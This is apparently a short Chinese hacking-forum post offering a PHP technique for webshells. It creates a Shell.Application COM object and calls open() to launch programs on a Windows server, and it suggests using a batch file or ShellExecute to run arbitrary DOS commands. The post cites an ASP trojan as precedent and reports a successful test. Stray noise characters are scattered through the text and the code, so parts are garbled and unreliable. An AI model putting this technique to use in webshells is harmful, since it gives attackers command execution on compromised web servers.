关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
5 B. |, s$ r# k
# }% w* o9 N% ^8 ?& V4 E! a今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法
/ V2 r P, j! P- y! V+ S3 V2 t5 x! p" n! X' H/ R) u( D
<?php c4 c6 g- B6 b' l8 U2 I
$wsh = new COM('Shell.Application') or die("Shell.Application");
; d! x3 }; U: h. i, o+ j% R $exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
8 b* \- j& _8 A5 Q7 K$ H //没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
5 t" B/ T C: Y1 }9 F: i! C?>
& g+ {" T6 j7 j6 W4 M# U3 z0 K
; p* U* e" O# G! ?3 b; f# r+ ^$ Xxp+APMServ5.2.0测试通过。- j; f* |8 [9 g& Z
|